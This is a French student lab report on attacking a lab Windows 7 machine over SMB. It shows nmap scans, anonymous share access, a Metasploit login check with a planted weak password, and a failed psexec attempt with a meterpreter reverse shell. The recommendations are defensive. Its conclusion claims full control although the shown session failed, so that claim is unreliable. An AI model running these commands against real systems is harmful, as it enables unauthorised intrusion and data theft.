COMPTE RENDU DU TP 3.2_CHAPITRE 3 : ATTAQUE D'UN SYSTÈME WINDOWS ET EXTRACTION D'IDENTIFIANTS

1. Introduction

1.1 Objectif du TP

L'objectif de ce TP est de reproduire un scénario réel d'attaque interne. Il s'agit de démontrer comment un attaquant peut compromettre un poste de travail Windows sans exploiter de vulnérabilité logicielle complexe, mais en profitant de **mauvaises configurations** et de la **faiblesse des mots de passe**.

1.2 Vérification de l'accessibilité

Avant de débuter, la connectivité réseau a été validée depuis Kali Linux :

- **Commande :** ping 192.168.56.20
- **Résultat :** La machine répond, confirmant que la cible est joignable.

2. Phase de Reconnaissance et Énumération

2.1 Identification des services (Nmap)

Nous avons scanné la cible pour identifier les services exposés, en nous concentrant sur le protocole SMB (port 445), vecteur privilégié pour le partage de fichiers en entreprise.

- **Commande :** nmap -sS 192.168.56.20
- **Observation :** Le port **445/TCP** est ouvert.

```
┌──(laurasimo㉿laura)-[~]
└─$ sudo nmap -sS 192.168.56.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-22 03:37 WAT
Nmap scan report for 192.168.56.20
Host is up (0.0015s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
5357/tcp open  wsdapi
MAC Address: 00:0C:29:DD:AA:5D (VMware)

Nmap done: 1 IP address (1 host up) scanned in 18.12 seconds

┌──(laurasimo㉿laura)-[~]
└─$
```

2.2 Récupération d'informations sans authentification

L'utilisation de scripts spécifiques a permis d'obtenir des détails système sans posséder de compte :

- **Commande :** nmap -p 445 --script smb-os-discovery 192.168.56.20
- **Résultat :** Identification du nom de la machine, de la version de Windows et du groupe de travail.

```
┌──(laurasimo㉿laura)-[~]
└─$ sudo nmap -p 445 --script smb-os-discovery 192.168.56.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-22 03:40 WAT
Nmap scan report for 192.168.56.20
Host is up (0.0018s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:DD:AA:5D (VMware)

Host script results:
| smb-os-discovery:
|   OS: Windows 7 Home Basic 7601 Service Pack 1 (Windows 7 Home Basic 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: WIN-8HOTUNFDF96
|   NetBIOS computer name: WIN-8HOTUNFDF96\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2026-04-22T03:21:34+01:00

Nmap done: 1 IP address (1 host up) scanned in 13.41 seconds

┌──(laurasimo㉿laura)-[~]
└─$
```

2.3 Découverte des partages réseau

Nous avons listé les dossiers partagés accessibles anonymement :

- **Commande :** smbclient -L //192.168.56.20 -N
- **Risque :** Un partage mal configuré peut permettre à un utilisateur non authentifié d'accéder à des fichiers sensibles via get nom_du_fichier.

```
┌──(laurasimo㉿laura)-[~]
└─$ sudo smbclient -L //192.168.56.20 -N

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Administration à distance
        C$              Disk      Partage par défaut
        IPC$            IPC       IPC distant
        Users           Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.56.20 failed (Error NT_STATUS_RESOURCE_NAME
_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

┌──(laurasimo㉿laura)-[~]
└─$
```

```
┌──(laurasimo㉿laura)-[~]
└─$ sudo smbclient //192.168.56.20/Users -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   DR        0  Wed Apr 22 03:40:54 2026
  ..                                  DR        0  Wed Apr 22 03:40:54 2026
  Default                            DHR        0  Thu Mar 26 19:10:01 2026
  desktop.ini                        AHS      174  Tue Jul 14 05:54:24 2009
  Nouveau dossier                      D        0  Wed Apr 22 03:40:47 2026
  Public                              DR        0  Tue Jul 14 05:54:24 2009
  texte.txt                            A        0  Wed Apr 22 03:39:38 2026

                 2620927 blocks of size 4096. 261179 blocks available
smb: \> get texte.txt
getting file \texte.txt of size 0 as texte.txt (0.0 KiloBytes/sec) (average 0
.0 KiloBytes/sec)
smb: \>
```

3.1 Test de connexion avec Metasploit

Un compte vulnérable (SIMOLAURA / 123456 a été créé sur la cible pour simuler une faille humaine. Nous avons vérifié l'accès via le module de scan SMB.

- **Module :** auxiliary/scanner/smb/smb_login
- **Résultat :** Metasploit confirme que l'authentification est réussie.

```
msf6 auxiliary(scanner/smb/smb_login) > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20
msf6 auxiliary(scanner/smb/smb_login) > set SMBUser SIMOLAURA
SMBUser => SIMOLAURA
msf6 auxiliary(scanner/smb/smb_login) > set SMBPass 123456
SMBPass => 123456
msf6 auxiliary(scanner/smb/smb_login) > run

[*] 192.168.56.20:445     - 192.168.56.20:445 - Starting SMB login bruteforce
[+] 192.168.56.20:445     - 192.168.56.20:445 - Success: '.\SIMOLAURA:123456'
[!] 192.168.56.20:445     - No active DB -- Credential data will not be saved!
[*] 192.168.56.20:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_login) >
```

3.2 Ouverture d'une session distante (PsExec)

Grâce aux identifiants valides, nous avons tenté d'obtenir un contrôle total sur la machine.

- **Module :** exploit/windows/smb/psexec
- **Vérification :** Les commandes sysinfo et getuid confirment que nous avons un accès distant au système.

Maintenant que les identifiants sont validés, on tente d'ouvrir une session sur la machine cible. Toujours dans Metasploit, on exécute :

```
msf6 exploit(windows/smb/psexec) > use exploit/windows/smb/psexec
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20
msf6 exploit(windows/smb/psexec) > set SMBUser SIMOLAURA
SMBUser => SIMOLAURA
msf6 exploit(windows/smb/psexec) > set SMBPass 123456
SMBPass => &123456
msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.13.137:4444
[*] 192.168.56.20:445 - Connecting to the server...
[*] 192.168.56.20:445 - Authenticating to 192.168.56.20:445 as user 'SIMOLAURA'...
[-] 192.168.56.20:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: T
he attempted logon is invalid. This is either due to a bad username or authentication information.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/psexec) >
```

Comme on peut le voir sur cette figure, aucune session ne s'est ouvertes ce qui signifie que si nous ne disposons pas des identifiant du compte admin nous ne pourrons pas nous ne pouvons pas ouvrir de session.

Meterpreter est une charge utile (payload) particulièrement avancée permettant de simplifier la phase de post-exploitation grâce à la mise à disposition d'un shell interactif. Ce payload, entièrement exécuté en mémoire, intègre de nombreuses fonctionnalités et permet également d'étendre ces dernières grâce à une API Ruby.et comme on peut le constater il est difficile de l'utiliser sur un compte n'ayant pas de haut privilège sur windows .

5. Analyse Professionnelle et Recommandations

4.1 Analyse des causes

Ce qui vient d'être réalisé suit une logique très proche des attaques réelles en entreprise. D'abord, on observe la machine depuis le réseau, puis on identifie un service accessible (SMB). On exploite ensuite une faiblesse humaine (mot de passe faible) pour obtenir un accès, avant d'utiliser cet accès pour récupérer des informations sensibles.

Ce type d'attaque est extrêmement courant car il ne nécessite pas de vulnérabilité complexe, mais uniquement une mauvaise hygiène de sécurité.

4.2 Causes identifiées

- Port SMB (445) exposé sans restriction d'accès réseau ;
- Accès anonyme au service SMB autorisé (partages accessibles sans authentification) ;
- Mot de passe faible et prévisible (123456) utilisé sur un compte actif.

5-Recommandations de sécurité

- Désactiver le partage SMB si inutile, ou restreindre l'accès par pare-feu (port 445) ;
- Interdire les connexions SMB anonymes via les stratégies de groupe (GPO) ;
- Appliquer une politique de mots de passe stricte (longueur min. 12 caractères, complexité obligatoire) ;

6. Conclusion

Ce TP montre que la sécurité d'un système Windows ne repose pas seulement sur les mises à jour logicielles (patchs), mais dépend énormément de la configuration des services et du comportement des utilisateurs. Un simple compte avec un mot de passe faible combiné à un service SMB ouvert suffit à un attaquant pour prendre le contrôle total d'une machine et extraire des données critiques.